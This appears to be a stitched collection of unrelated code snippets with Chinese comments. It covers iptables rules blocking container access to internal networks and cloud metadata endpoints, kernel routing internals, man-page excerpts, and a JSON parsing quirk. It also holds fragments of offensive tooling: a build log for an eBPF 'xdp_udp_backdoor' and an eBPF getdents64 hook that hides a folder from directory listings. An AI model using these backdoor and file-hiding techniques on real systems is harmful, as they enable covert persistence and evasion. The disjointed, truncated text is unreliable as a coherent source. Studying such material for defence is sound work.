iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 192.168.0.0/16 -j DROP // pod不能主动访问"宿主机所在的内网" iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 10.0.0.0/8 -j DROP iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 172.16.0.0/12 -j DROP
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 169.254.169.254/32 -j DROP // pod不能主动访问metadata(华为云/百度云/amazon/azure) iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 100.100.100.200/32 -j DROP // pod不能主动访问metadata(阿里云)
protected void captureMethodState( final int opcode, final int hookValue, final boolean captureRet ) { ... invokeInterface(ASM_TYPE_SPY_DISPATCHER, SPY$collectMethodPool); pop(); }
[test@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap Capturing on 'eth0' dumpcap: The capture session could not be initiated on interface 'eth0' (You don't have permission to capture on that device). Please check to make sure you have sufficient permissions. ...
The aforementioned transformations of the effective IDs are not performed (i.e., the set-user-ID and set-group-ID bits are ignored) if any of the following is true:
* the no_new_privs attribute is set for the calling thread (see prctl(2));
* the underlying filesystem is mounted nosuid (the MS_NOSUID flag for mount(2)); or
* the calling process is being ptraced. // 进程正在被ptrace
The capabilities of the program file (see capabilities(7)) are also ignored if any of the above are true.
Note: the capability transitions described above may not be performed (i.e., file capabilities may be ignored) for the same reasons that the set-user-ID and set-group-ID bits are ignored; see execve(2).
NFLOG This target provides logging of matching packets. When this target is set for a rule, the Linux kernel will pass the packet to the loaded logging backend to log the packet. This is usually used in combination with nfnetlink_log as logging backend, which will multicast the packet through a netlink socket to the specified multicast group. One or more userspace processes may sub- scribe to the group to receive the packets. Like LOG, this is a non-terminating target, i.e. rule traversal continues at the next rule.
--nflog-group nlgroup The netlink group (0 - 2^16-1) to which packets are (only applicable for nfnetlink_log). The default value is 0. ...
[root@instance-h9w7mlyv xdp_backdoor]# make load [root@instance-h9w7mlyv xdp_backdoor]# make load clang -O2 -g -Wall -target bpf -c xdp_udp_backdoor.bpf.c -o xdp_udp_backdoor_bpf.o ip link set eth0 xdpgeneric off ip link set eth0 xdpgeneric obj xdp_udp_backdoor_bpf.o sec xdp_backdoor ... BPF program is too large. Processed 1000001 insn processed 1000001 insns (limit 1000000) max_states_per_insn 18 total_states 18267 peak_states 4070 mark_read 5
libbpf: -- END LOG -- libbpf: failed to load program 'xdp_func' libbpf: failed to load object 'xdp_udp_backdoor_bpf.o'
SEC("tp/syscalls/sys_exit_getdents64") int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx) { ... // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. ... // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
/* * NOTE. We drop all the packets that has local source * addresses, because every properly looped back packet * must have correct destination already attached by output routine. * * Such approach solves two big problems: * 1. Not simplex devices are handled properly. * 2. IP spoofing attempts are filtered with 100% of guarantee. * called with rcu_read_lock() */
static int ip_route_input_slow(struct sk_buff *skb, __be32 daddr, __be32 saddr, u8 tos, struct net_device *dev, struct fib_result *res) { ... /* Following code try to avoid calling IN_DEV_NET_ROUTE_LOCALNET(), * and call it once if daddr or/and saddr are loopback addresses */ if (ipv4_is_loopback(daddr)) { // 目的地址是否"loopback地址" if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net)) // localnet配置是否开启。net是网络命名空间,in_dev是接收数据包设备配置信息 goto martian_destination; // 认为是非法数据包 } else if (ipv4_is_loopback(saddr)) { // 源地址是否"loopback地址" if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net)) goto martian_source; // 认为是非法数据包 } ... err = fib_lookup(net, &fl4, res, 0); // 查找"路由表",res存放查找结果 ... if (res->type == RTN_BROADCAST) ... if (res->type == RTN_LOCAL) { // 数据包应该本机处理 err = fib_validate_source(skb, saddr, daddr, tos, 0, dev, in_dev, &itag); // "反向查找", 验证源地址是否有问题 if (err < 0) goto martian_source; goto local_input; // 本机处理 } if (!IN_DEV_FORWARD(in_dev)) { // 没有开启ip_forward配置时,认为不支持 转发数据包 err = -EHOSTUNREACH; goto no_route; } ... err = ip_mkroute_input(skb, res, in_dev, daddr, saddr, tos, flkeys); // 认为此包需要"转发" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
static int ip_rcv_finish(struct net *net, struct sock *sk, struct sk_buff *skb) { ...
/* * Initialise the virtual path cache for the packet. It describes * how the packet travels inside Linux networking. */ if (!skb_valid_dst(skb)) { // 是否有路由缓存. 宿主机curl 127.0.0.1时,就有缓存,不用查找路由表。 err = ip_route_input_noref(skb, iph->daddr, iph->saddr, iph->tos, dev); // 查找路由表 if (unlikely(err)) goto drop_error; } ... return dst_input(skb); // 将数据包交给tcp层(ip_local_deliver) 或 转发数据包(ip_forward)
/* Ignore rp_filter for packets protected by IPsec. */ int fib_validate_source(struct sk_buff *skb, __be32 src, __be32 dst, u8 tos, int oif, struct net_device *dev, struct in_device *idev, u32 *itag) { int r = secpath_exists(skb) ? 0 : IN_DEV_RPFILTER(idev); // r=rp_filter配置 struct net *net = dev_net(dev);
if (!r && !fib_num_tclassid_users(net) && (dev->ifindex != oif || !IN_DEV_TX_REDIRECTS(idev))) { // dev->ifindex != oif 表示 不是lo虚拟网卡接收到包 if (IN_DEV_ACCEPT_LOCAL(idev)) // accept_local配置是否打开。idev是接受数据包的网卡配置 goto ok; /* with custom local routes in place, checking local addresses * only will be too optimistic, with custom rules, checking * local addresses only can be too strict, e.g. due to vrf */ if (net->ipv4.fib_has_custom_local_routes || fib4_has_custom_rules(net)) // 检查"网络命名空间"中是否有自定义的"策略路由" goto full_check; if (inet_lookup_ifaddr_rcu(net, src)) // 检查"网络命名空间"中是否有设备的ip和源ip(src值)相同 return -EINVAL;
package main import "github.com/francoispqt/gojay"
type user struct { id int name string email string } // implement gojay.UnmarshalerJSONObject func (u *user) UnmarshalJSONObject(dec *gojay.Decoder, key string) error { switch key { case "id": return dec.Int(&u.id) case "name": return dec.String(&u.name) case "email": return dec.String(&u.email) } return nil } func (u *user) NKeys() int { return 3 }
func main() { u := &user{} d := []byte(`{"id":1,"name":"gojay","email":"gojay@email.com"},"name":"gojay2"`) err := gojay.UnmarshalJSONObject(d, u) if err != nil { //log.Fatal(err) } println(u.name); // 取最前面的key的值,也就是gojay,而不是gojay2 }